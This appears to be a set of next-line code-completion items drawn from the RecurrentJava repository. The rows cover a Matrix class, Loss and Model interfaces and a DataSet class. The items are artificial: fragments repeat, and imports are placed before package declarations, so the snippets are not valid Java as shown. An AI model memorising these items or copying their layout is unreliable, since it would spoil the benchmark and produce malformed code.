import matrix.Matrix;
package datastructs;
public class DataStep implements Serializable {
private static final long serialVersionUID = 1L; | public Matrix input = null; |
evolvingstuff/RecurrentJava | src/loss/LossMultiDimensionalBinary.java | // Path: src/matrix/Matrix.java
// public class Matrix implements Serializable {
//
// private static final long serialVersionUID = 1L;
// public int rows;
// public int cols;
// public double[] w;
// public double[] dw;
// public double[] stepCache;
//
// @Override
// public String toString() {
// String result = "";
// for (int r = 0; r < rows; r++) {
// for (int c = 0; c < cols; c++) {
// result += String.format("%.4f",getW(r, c)) + "\t";
// }
// result += "\n";
// }
// return result;
// }
//
// public Matrix clone() {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < w.length; i++) {
// result.w[i] = w[i];
// result.dw[i] = dw[i];
// result.stepCache[i] = stepCache[i];
// }
// return result;
// }
//
// public void resetDw() {
// for (int i = 0; i < dw.length; i++) {
// dw[i] = 0;
// }
// }
//
// public void resetStepCache() {
// for (int i = 0; i < stepCache.length; i++) {
// stepCache[i] = 0;
// }
// }
//
// public static Matrix transpose(Matrix m) {
// Matrix result = new Matrix(m.cols, m.rows);
// for (int r = 0; r < m.rows; r++) {
// for (int c = 0; c < m.cols; c++) {
// result.setW(c, r, m.getW(r, c));
// }
// }
// return result;
// }
//
// public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = rng.nextGaussian() * initParamsStdDev;
// }
// return result;
// }
//
// public static Matrix ident(int dim) {
// Matrix result = new Matrix(dim, dim);
// for (int i = 0; i < dim; i++) {
// result.setW(i, i, 1.0);
// }
// return result;
// }
//
// public static Matrix uniform(int rows, int cols, double s) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = s;
// }
// return result;
// }
//
// public static Matrix ones(int rows, int cols) {
// return uniform(rows, cols, 1.0);
// }
//
// public static Matrix negones(int rows, int cols) {
// return uniform(rows, cols, -1.0);
// }
//
// public Matrix(int dim) {
// this.rows = dim;
// this.cols = 1;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(int rows, int cols) {
// this.rows = rows;
// this.cols = cols;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(double[] vector) {
// this.rows = vector.length;
// this.cols = 1;
// this.w = vector;
// this.dw = new double[vector.length];
// this.stepCache = new double[vector.length];
// }
//
// private int index(int row, int col) {
// int ix = cols * row + col;
// return ix;
// }
//
// private double getW(int row, int col) {
// return w[index(row, col)];
// }
//
// private void setW(int row, int col, double val) {
// w[index(row, col)] = val;
// }
// }
| import matrix.Matrix; | package loss;
public class LossMultiDimensionalBinary implements Loss {
/**
*
*/
private static final long serialVersionUID = 1L;
@Override | // Path: src/matrix/Matrix.java
// public class Matrix implements Serializable {
//
// private static final long serialVersionUID = 1L;
// public int rows;
// public int cols;
// public double[] w;
// public double[] dw;
// public double[] stepCache;
//
// @Override
// public String toString() {
// String result = "";
// for (int r = 0; r < rows; r++) {
// for (int c = 0; c < cols; c++) {
// result += String.format("%.4f",getW(r, c)) + "\t";
// }
// result += "\n";
// }
// return result;
// }
//
// public Matrix clone() {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < w.length; i++) {
// result.w[i] = w[i];
// result.dw[i] = dw[i];
// result.stepCache[i] = stepCache[i];
// }
// return result;
// }
//
// public void resetDw() {
// for (int i = 0; i < dw.length; i++) {
// dw[i] = 0;
// }
// }
//
// public void resetStepCache() {
// for (int i = 0; i < stepCache.length; i++) {
// stepCache[i] = 0;
// }
// }
//
// public static Matrix transpose(Matrix m) {
// Matrix result = new Matrix(m.cols, m.rows);
// for (int r = 0; r < m.rows; r++) {
// for (int c = 0; c < m.cols; c++) {
// result.setW(c, r, m.getW(r, c));
// }
// }
// return result;
// }
//
// public static Matrix rand(int rows, int cols, double initParamsStdDev, Random rng) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = rng.nextGaussian() * initParamsStdDev;
// }
// return result;
// }
//
// public static Matrix ident(int dim) {
// Matrix result = new Matrix(dim, dim);
// for (int i = 0; i < dim; i++) {
// result.setW(i, i, 1.0);
// }
// return result;
// }
//
// public static Matrix uniform(int rows, int cols, double s) {
// Matrix result = new Matrix(rows, cols);
// for (int i = 0; i < result.w.length; i++) {
// result.w[i] = s;
// }
// return result;
// }
//
// public static Matrix ones(int rows, int cols) {
// return uniform(rows, cols, 1.0);
// }
//
// public static Matrix negones(int rows, int cols) {
// return uniform(rows, cols, -1.0);
// }
//
// public Matrix(int dim) {
// this.rows = dim;
// this.cols = 1;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(int rows, int cols) {
// this.rows = rows;
// this.cols = cols;
// this.w = new double[rows * cols];
// this.dw = new double[rows * cols];
// this.stepCache = new double[rows * cols];
// }
//
// public Matrix(double[] vector) {
// this.rows = vector.length;
// this.cols = 1;
// this.w = vector;
// this.dw = new double[vector.length];
// this.stepCache = new double[vector.length];
// }
//
// private int index(int row, int col) {
// int ix = cols * row + col;
// return ix;
// }
//
// private double getW(int row, int col) {
// return w[index(row, col)];
// }
//
// private void setW(int row, int col, double val) {
// w[index(row, col)] = val;
// }
// }
// Path: src/loss/LossMultiDimensionalBinary.java
import matrix.Matrix;
package loss;
public class LossMultiDimensionalBinary implements Loss {
/**
*
*/
private static final long serialVersionUID = 1L;
@Override | public void backward(Matrix actualOutput, Matrix targetOutput) throws Exception { |
evolvingstuff/RecurrentJava | src/datastructs/DataSet.java | // Path: src/loss/Loss.java
// public interface Loss extends Serializable {
// void backward(Matrix actualOutput, Matrix targetOutput) throws Exception;
// double measure(Matrix actualOutput, Matrix targetOutput) throws Exception;
// }
//
// Path: src/model/Model.java
// public interface Model extends Serializable {
// Matrix forward(Matrix input, Graph g) throws Exception;
// void resetState();
// List<Matrix> getParameters();
// }
| import java.io.Serializable;
import java.util.List;
import java.util.Random;
import loss.Loss;
import model.Model;
import model.Nonlinearity; | package datastructs;
public abstract class DataSet implements Serializable {
public int inputDimension;
public int outputDimension; | // Path: src/loss/Loss.java
// public interface Loss extends Serializable {
// void backward(Matrix actualOutput, Matrix targetOutput) throws Exception;
// double measure(Matrix actualOutput, Matrix targetOutput) throws Exception;
// }
//
// Path: src/model/Model.java
// public interface Model extends Serializable {
// Matrix forward(Matrix input, Graph g) throws Exception;
// void resetState();
// List<Matrix> getParameters();
// }
// Path: src/datastructs/DataSet.java
import java.io.Serializable;
import java.util.List;
import java.util.Random;
import loss.Loss;
import model.Model;
import model.Nonlinearity;
package datastructs;
public abstract class DataSet implements Serializable {
public int inputDimension;
public int outputDimension; | public Loss lossTraining; |
evolvingstuff/RecurrentJava | src/datastructs/DataSet.java | // Path: src/loss/Loss.java
// public interface Loss extends Serializable {
// void backward(Matrix actualOutput, Matrix targetOutput) throws Exception;
// double measure(Matrix actualOutput, Matrix targetOutput) throws Exception;
// }
//
// Path: src/model/Model.java
// public interface Model extends Serializable {
// Matrix forward(Matrix input, Graph g) throws Exception;
// void resetState();
// List<Matrix> getParameters();
// }
| import java.io.Serializable;
import java.util.List;
import java.util.Random;
import loss.Loss;
import model.Model;
import model.Nonlinearity; | package datastructs;
public abstract class DataSet implements Serializable {
public int inputDimension;
public int outputDimension;
public Loss lossTraining;
public Loss lossReporting;
public List<DataSequence> training;
public List<DataSequence> validation;
public List<DataSequence> testing; | // Path: src/loss/Loss.java
// public interface Loss extends Serializable {
// void backward(Matrix actualOutput, Matrix targetOutput) throws Exception;
// double measure(Matrix actualOutput, Matrix targetOutput) throws Exception;
// }
//
// Path: src/model/Model.java
// public interface Model extends Serializable {
// Matrix forward(Matrix input, Graph g) throws Exception;
// void resetState();
// List<Matrix> getParameters();
// }
// Path: src/datastructs/DataSet.java
import java.io.Serializable;
import java.util.List;
import java.util.Random;
import loss.Loss;
import model.Model;
import model.Nonlinearity;
package datastructs;
public abstract class DataSet implements Serializable {
public int inputDimension;
public int outputDimension;
public Loss lossTraining;
public Loss lossReporting;
public List<DataSequence> training;
public List<DataSequence> validation;
public List<DataSequence> testing; | public abstract void DisplayReport(Model model, Random rng) throws Exception; |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.